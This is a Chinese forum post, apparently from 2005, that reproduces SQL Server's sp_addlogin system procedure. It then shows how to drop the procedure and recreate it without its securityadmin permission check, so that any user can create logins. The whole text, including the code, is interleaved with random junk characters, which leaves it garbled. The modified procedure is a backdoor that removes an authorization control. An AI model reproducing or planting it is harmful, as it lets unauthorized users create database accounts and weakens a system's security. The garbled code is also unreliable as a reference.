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[B]以下是引用[I]冬冬[/I]在2005-6-17 13:32:03的发言：[/B][BR]create procedure sp_addlogin
' f" Z% F3 q. n0 a! f@loginame sysname
+ i6 s$ U& m& _% T,@passwd sysname = Null% ] I4 H* h" f! X" {3 k
,@defdb ; ; sysname = \'master\' -- UNDONE: DEFAULT % p" H1 r% s. S
CONFIGURABLE???
2 l/ E/ b$ q" c$ r* g; c8 i,@deflanguage sysname = Null
2 h. V+ W8 ?8 C4 D* V,@sid varbinary(16) = Null0 b' j& h2 ^2 h$ b, `6 i" R5 |
,@encryptopt varchar(20) = Null
2 G5 V& D5 I! kAS! X; D" m9 t6 M6 H- w
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --5 x5 e, ~3 L' [
set nocount on4 {$ L6 N3 `3 @: i1 x
Declare @ret int -- return value of sp call Q! `1 | Q6 c# u' d
-- CHECK PERMISSIONS --! g- C" ?4 Q) }
IF (not is_srvrolemember(\'securityadmin\') = 1)
% }/ i, P* P% d% N+ P+ Pbegin! a& S- v# [( G- E% {
dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
L+ i y+ N7 a. N" e; |% Lraiserror(15247,-1,-1)- r0 _2 U9 B% l8 _
return (1): q) V+ T# t: ]/ M9 ?* N5 a
end
: c G; A, ~* wELSE4 A9 B# A8 D7 _) R- ~6 F
begin( C- ~( U5 Z+ P0 j, T9 c
dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
( r2 b, r2 n% J6 _+ Qend
. w2 q' p) K: d: S5 G% J, p-- DISALLOW USER TRANSACTION --
9 k, E! z/ L J' Eset implicit_transactions off
5 R1 X# w4 X8 }) C, k4 H: w- `IF (@@trancount > 0)" T& T0 ~+ R' s0 \
begin' v A# o+ F4 _3 ~% o# l
raiserror(15002,-1,-1,\'sp_addlogin\')
8 p) S, I& G+ N! U- Lreturn (1)4 n9 m5 a7 c' T& N2 }
end* X2 J. @7 S9 P# w0 W$ c; j4 Z& c
-- VALIDATE LOGIN NAME AS:
# [, \! `! \, x9 l% ]* a-- (1) Valid SQL Name (SQL LOGIN)4 Y' G- i5 l$ F* h8 }9 q: |# A
-- (2) No backslash (NT users only)
1 n! U7 g y @! T9 `& v; w6 L2 P4 ^-- (3) Not a reserved login name2 x; L1 @( k5 @. c. ~6 J/ G
execute @ret = sp_validname @loginame% {7 B7 D3 _& ~/ ? [6 z
if (@ret <> 0)
: v! y% v5 X" v! S4 o4 N; X1 s return (1)
: @7 E+ r% y0 h, [; jif (charindex(\'\\\', @loginame) > 0)3 V- |* z* d: I0 f/ ?. k
begin' F) l& k; @/ j/ V% n `$ ]
raiserror(15006,-1,-1,@loginame)4 _: @/ n- S0 d ~
return (1)
5 f% J7 z! E( hend( O2 d. }1 _: e/ p
--Note: different case sa is allowed.
/ A1 A7 ^! c8 u, Wif (@loginame = \'sa\' or lower(@loginame) in (\'public\'))
; m$ T' }! R: W. U. Kbegin
9 i0 Q, y5 T! o. r# y7 P7 Praiserror(15405, -1 ,-1, @loginame)
* D+ M6 E* X1 ]return (1)
) E; p4 x: G! D: |) Aend/ ~ W. Z( N7 a
-- LOGIN NAME MUST NOT ALREADY EXIST --
% \( `& R& h1 N, c" \if exists(select * from master.dbo.syslogins where loginname = 3 x: o3 K" U/ m* k
@loginame)6 [9 Q) T2 s9 D/ Z0 t
begin
/ P7 e6 W) d6 a0 K- X. zraiserror(15025,-1,-1,@loginame)
/ @4 T) i) D) S% h0 O9 freturn (1)5 o6 a5 F* z1 k4 @( j
end3 R% b! _, {/ U, @. z. J2 f
-- VALIDATE DEFAULT DATABASE --3 Z( W7 S- e7 ]& w" \3 }* Z
IF db_id(@defdb) IS NULL
! ~) \# |2 O) j( a. Ubegin
- p; \8 R3 H6 oraiserror(15010,-1,-1,@defdb)# U8 l$ u( M$ _* {6 q1 j4 i! f
return (1)
7 c7 l" m3 J3 l- n- send
) i& g1 Y8 G$ v2 h0 o/ L-- VALIDATE DEFAULT LANGUAGE --
' w# A& g1 X8 \9 _* b: p! Q8 IIF (@deflanguage IS NOT Null)
4 T! V" Y/ u% n+ k D$ L6 @8 Obegin2 O& z% {0 a5 w* k0 |7 o, ~! l
Execute @ret = sp_validlang @deflanguage8 W8 R8 |- O, ]
IF (@ret <> 0)% a! g, A/ S) a+ u2 B1 i/ b
return (1)
! q, G0 S5 ^5 X( y2 C+ V* [. n6 Bend
% U3 s! @ m7 e- A' x- \ELSE
* Y- w& p. G: W5 ~8 H% lbegin+ {1 @9 v1 ?" F; h
select @deflanguage = name from master.dbo.syslanguages
1 }# U7 w2 v9 P1 Pwhere langid = @@default_langid --server default
2 n, X4 W/ n6 B9 d$ E' Slanguage- v/ |5 F( d9 E+ l* _
if @deflanguage is null
; o: Q0 Q8 A v5 Aselect @deflanguage = N\'us_english\'5 D& j! O0 s. K& O9 q0 c/ O, Y
end# U0 p: Z' E; O4 l, G1 V% L! n
-- VALIDATE SID IF GIVEN --
) d8 @2 R( E8 Tif ((@sid IS NOT Null) and (datalength(@sid) <> 16))
# u, n; c5 p* Z( e0 Cbegin# S1 U% i) B; s; q$ S5 }1 m R
raiserror(15419,-1,-1)6 Z. f" c$ i( _+ j
return (1)
7 n' I0 U, h. i! dend8 w$ L0 g- c. ~1 ^8 [6 I$ u
else if @sid is null
9 G! T9 h( z. [select @sid = newid()% e- ~6 o$ ]! _; e
if (suser_sname(@sid) IS NOT Null), K, o8 L. f w6 z
begin
8 W% F1 l$ u4 M% Y4 w5 m0 B" n) d* eraiserror(15433,-1,-1)
0 @5 h- r- v8 L" E3 ^7 H% k# T( Freturn (1)8 q" \- e1 o4 z. s2 a. t! V
end
! d T6 A9 E# k" f-- VALIDATE AND USE ENCRYPTION OPTION --
3 [2 A; w+ \8 F6 qdeclare @xstatus smallint9 q* Q9 J/ s) ]: J; g/ ?& s' R
select @xstatus = 2 -- access. J! Y1 T/ w% `
if @encryptopt is null
9 a: f2 x" h C8 ^select @passwd = pwdencrypt(@passwd)
/ n7 g, Z! b' h+ P: P* ?( Y- h1 Oelse if @encryptopt = \'skip_encryption_old\'
1 J9 ]; l0 z- V( d, z, Rbegin$ ^3 f G' l3 i0 z0 J- @
select @xstatus = @xstatus | 0x800, -- old-style / U5 S4 a6 s( E) h. P8 @
encryption
7 L! Q9 y5 E+ v: R) r: z@passwd = convert(sysname, convert(varbinary" d' s: `' B( v G; G
(30), convert(varchar(30), @passwd)))
3 r3 s0 ^, W9 y" l8 uend0 b9 H$ @( ]9 ?% n" K0 G7 s
else if @encryptopt <> \'skip_encryption\'
. D& Q) V) P: t6 r2 l* d% Kbegin5 T4 ~; ~% H4 F" @, H
raiserror(15600,-1,-1,\'sp_addlogin\')7 d* R$ \" x; h" u% `# D
return 1
# F. l% x9 d9 C! {2 Zend
8 e( Y6 ^$ y5 P1 J. ?-- ATTEMPT THE INSERT OF THE NEW LOGIN --' t/ k3 Y" u+ Y* Q
INSERT INTO master.dbo.sysxlogins VALUES6 G5 a. E6 O% y) U% ?0 z
(NULL, @sid, @xstatus, getdate(),8 I9 h1 L) q; v8 _; n5 J
getdate(), @loginame, convert(varbinary(256), @passwd),7 y3 ?, m, |* q1 @
db_id(@defdb), @deflanguage)0 s$ b( v3 C, }) }
if @@error <> 0 -- this indicates we saw duplicate row
, x5 M6 D& m( S$ }3 k) @5 H return (1)* @" ?. j: M7 w$ M1 n( H
-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE 3 h) B- v9 k3 @2 ~ w8 r
SYSLOGINS CHANGE --
5 F s1 Y$ s) h6 o8 jexec(\'use master grant all to null\')- A- h$ I0 {1 M7 q& R/ N, j* T
-- FINALIZATION: RETURN SUCCESS/FAILURE --
0 M1 `" X: ]7 W3 v3 N3 kraiserror(15298,-1,-1)" M% W& z- a$ N$ S0 m* z
return (0) -- sp_addlogin: `) }4 ^" b) \( u% `2 S
GO6 P- ]# \# t) p. ~$ U, o, g, }: P# F
之所以只有 sysadmin 和 securityadmin 固定服务器角色的成员才可以执行 % A7 g, R E4 M
sp_addlogin，主要是这里一段再搞鬼
. y7 t# u j5 i3 z. A-- CHECK PERMISSIONS --
6 N, x8 l' U( Z9 v/ `+ L/ ]- N* K% ^IF (not is_srvrolemember(\'securityadmin\') = 1)
" p3 ]2 k9 i5 Z. d; ^5 {- |begin. b! q0 O- x5 s5 v9 u8 W5 H, f
dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)# x8 |$ _9 ?4 y# n( D+ a
raiserror(15247,-1,-1)
2 y* u. n" x: o/ _return (1)
' X( k0 W, s! k0 c( d2 {& Pend
# o9 n% X; k* r9 n. xELSE
* [ ?* l/ w7 jbegin2 {' t v' d# g$ V( U8 { ?5 f
dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid), h0 R1 U& {* H4 P4 R5 {) l+ j, i4 N
end4 D+ [+ S, {: j! G, [
5 Q) h. E/ H# v8 Y0 ^- L) G T" G _只要我们把这段代码删拉，任何权限的用户都可以增加用户拉。3 P3 h& c; J0 l% m! ]
drop procedure sp_addlogin) a: h6 c! p6 S' d" M# q$ R
$ t( I& B) F2 y- e; i' S8 \" y1 `) c0 ?4 o, x* p
1 h! u" B- x) k% X/ Q然后再来恢复sp_addlogin& F1 R; u. s) U
7 z( l, F. c/ \5 W3 d: t# q
3 G! U. F' l# H* _: R# x' ~7 K" v+ |5 N) u, D" y9 E
create procedure sp_addlogin
+ j; Q3 E" M0 u8 n@loginame sysname3 b2 }- `3 o: X1 U4 d0 r6 w; l9 n# f
,@passwd sysname = Null4 E% [6 i& J/ x$ Q* ]
,@defdb ; ; sysname = \'master\' -- UNDONE: DEFAULT
+ y) Z' C7 Z9 O3 wCONFIGURABLE???
: w P- f+ B( V8 y5 j+ j6 i,@deflanguage sysname = Null* j# `$ U3 o# [$ D8 D
,@sid varbinary(16) = Null
4 m/ |" ~# s3 c4 m. D,@encryptopt varchar(20) = Null
# d, ]/ E! g* Z8 DAS
: I- c- x( C; y4 ~-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --7 M: k& J# o# {% l% t9 u8 m
set nocount on$ ^& P! u7 @. [: t, _
Declare @ret int -- return value of sp call" t% B) }* J+ t( r
3 ~# L% V. V: H! e v, M' I8 d-- DISALLOW USER TRANSACTION --
; a& b- H* |8 R) xset implicit_transactions off
2 I4 Q8 ?, }0 m4 C0 O9 wIF (@@trancount > 0)
4 O! W0 [# \% k5 X3 Rbegin5 g8 P& E) H( R. g. F
raiserror(15002,-1,-1,\'sp_addlogin\')
: ]* C6 k7 n' X0 q9 [4 ^$ ireturn (1)% Z/ o. v6 E( e+ F
end9 H8 g/ j# D) [1 p) e: o
-- VALIDATE LOGIN NAME AS:
8 ~9 \. {6 m! R; _0 |-- (1) Valid SQL Name (SQL LOGIN); O' y& o# y# c) ^& s; L
-- (2) No backslash (NT users only)
; S+ g) \( u. j. K) _7 s5 \! X-- (3) Not a reserved login name! X" O. H3 G$ h7 N- U( K6 q6 ^
execute @ret = sp_validname @loginame
6 \: a* H+ r' B# i: s2 o0 U5 n# Zif (@ret <> 0)
9 M Z: i0 S1 x9 g return (1)
G. t/ [4 ]) b% @8 Z+ [) G7 dif (charindex(\'\\\', @loginame) > 0), r' J* R0 P$ E# b" M
begin
" ^4 l6 X- w2 W$ z( m0 u8 ~/ T raiserror(15006,-1,-1,@loginame)
3 `" r# f2 ~: f return (1)- t7 F) e B9 _* y- _1 o; o# [
end! u+ t# ]! J3 `( i
--Note: different case sa is allowed.& z' a) v# n( l6 v/ N( @ M7 r4 ?
if (@loginame = \'sa\' or lower(@loginame) in (\'public\'))3 ?& h, U! B5 @
begin4 C/ [% }! V" I& G; x- p% A- Q
raiserror(15405, -1 ,-1, @loginame)
' d9 E; V. Z7 {6 [# M+ dreturn (1)
1 J6 G( V0 ^1 o* c/ H- W) Mend
0 @- I( M( Y, [, ]! l1 ^-- LOGIN NAME MUST NOT ALREADY EXIST --
; P: O5 n) a% d, fif exists(select * from master.dbo.syslogins where loginname =
; F/ l: ]+ [, @" k8 Z R@loginame)6 w. |# [: u& b2 `9 a1 g
begin
2 B% e) g/ R' y& ~. z6 a( Fraiserror(15025,-1,-1,@loginame)
5 b( B2 D: `! K' h# _2 N& Sreturn (1)1 y! d% N/ n, M6 Z$ b2 B
end+ l' }. U& l7 K3 O* l( F
-- VALIDATE DEFAULT DATABASE --+ s3 s# A' o+ N0 q, J
IF db_id(@defdb) IS NULL
U1 v _6 `1 ?5 M }8 h4 S# m9 |begin# U2 ^$ D3 b" x4 @
raiserror(15010,-1,-1,@defdb); l' C6 ^* ~) J1 ]# A& v
return (1)( t% ]6 Z. c$ ?9 Z
end
0 j: o" ^# y: G-- VALIDATE DEFAULT LANGUAGE --
7 G3 a6 Y; \- `5 u1 S: WIF (@deflanguage IS NOT Null). k, T# t/ A- ?2 E$ W8 @% H; c
begin
, |, n G4 g9 y C; h8 wExecute @ret = sp_validlang @deflanguage. x2 G- I, Z" u& a
IF (@ret <> 0)
- ~8 n8 n5 R2 B8 E7 S) ~" ~return (1)( s4 L. C9 e. [2 {
end
; `! r5 ^ Q3 f6 UELSE
6 e$ n! X0 W' ^9 [) s, s! d- i7 r- Kbegin
0 s8 j. \4 V t/ X' r+ q) sselect @deflanguage = name from master.dbo.syslanguages' C0 ?. C* z8 a+ N6 {5 F3 A
where langid = @@default_langid --server default
+ c! W( z0 {! J6 M, m& O# Ulanguage
0 g) K K, `& h: {( S: pif @deflanguage is null
7 N& a8 _( j; Z* f/ mselect @deflanguage = N\'us_english\'9 t, R3 `' b7 |+ T4 I: n/ [1 p
end9 }: w5 \" J1 _0 N& ]! X) I
-- VALIDATE SID IF GIVEN --, d9 a& Z1 J& c
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))& J. s7 Q4 ^6 p
begin
/ d. x# i' k* P) @% z( i8 @4 nraiserror(15419,-1,-1)) I) z3 Y& U, j; V
return (1)9 F2 b; x2 N' T
end
! i$ h' Y2 k$ e9 uelse if @sid is null$ g* _, M1 |% _4 `% S
select @sid = newid()$ l; E, S# P' q! c& g
if (suser_sname(@sid) IS NOT Null)& F% u3 ]9 Q, Z1 q& ?4 K* Y
begin
1 f3 a- E! W: G) U n9 W5 Draiserror(15433,-1,-1)
; c. k# j- \5 W0 h7 n, mreturn (1)
0 \! D n0 F W/ o/ P" _8 f! vend" o( B* k* D2 t( k
-- VALIDATE AND USE ENCRYPTION OPTION --
4 K9 p1 b2 M, z' \ Tdeclare @xstatus smallint
! C6 k7 [5 n4 y( |select @xstatus = 2 -- access8 Q& M& }' ~1 a2 S2 [) u
if @encryptopt is null) r8 P$ t0 B0 X/ P/ k j
select @passwd = pwdencrypt(@passwd)- }; N( F* q& }+ s1 J) h. f# ], Y' s7 _
else if @encryptopt = \'skip_encryption_old\', Z. ]6 }4 r) h( ~) }
begin: T4 a& ?; h4 j) }1 c' k/ H- T
select @xstatus = @xstatus | 0x800, -- old-style ( ~/ H! H S* v
encryption7 y# c9 o& M+ s+ B: h
@passwd = convert(sysname, convert(varbinary
2 E# }6 s$ k. M% Y# i* E(30), convert(varchar(30), @passwd)))
, ^# ?3 |; S8 O" r3 X- o. hend
. G5 ?6 o- X8 g# E0 T9 Jelse if @encryptopt <> \'skip_encryption\'
+ H3 C3 }2 w+ z0 _# Bbegin" Z" g( C. G# R* q
raiserror(15600,-1,-1,\'sp_addlogin\')
7 n/ m1 }8 K3 B! a) `+ ]2 yreturn 1- U" O* h" v7 x' \- b. P) U" q
end' `5 ^3 p9 V& d3 t
-- ATTEMPT THE INSERT OF THE NEW LOGIN --: o: c$ O( u4 e1 b' a/ x
INSERT INTO master.dbo.sysxlogins VALUES
5 W: ^1 D" x8 W (NULL, @sid, @xstatus, getdate(),: G, G; x; ~( z) ?5 L" `0 Q
getdate(), @loginame, convert(varbinary(256), @passwd),0 u: F% k ~3 m" E
db_id(@defdb), @deflanguage)3 y: A8 r* ?- N7 n
if @@error <> 0 -- this indicates we saw duplicate row
5 T& y2 A7 W# k return (1) n: H, c+ [: P& J0 ^
-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE 5 ?0 u, K: _+ X9 a) m
SYSLOGINS CHANGE --' ~5 m& U5 B! q
exec(\'use master grant all to null\')- Z; S" z. q# T- C& c4 c
-- FINALIZATION: RETURN SUCCESS/FAILURE --
; x; p/ V7 y% {. Braiserror(15298,-1,-1)
8 k; L# ~/ D O' o) k' d8 Hreturn (0) -- sp_addlogin
3 R1 N* ^8 P$ Q. Y: l' g+ U7 _- ~GO
% ~% p* T8 H* ~. o0 ] xMM很强啊.. 是不是师院计算机系的.?? |
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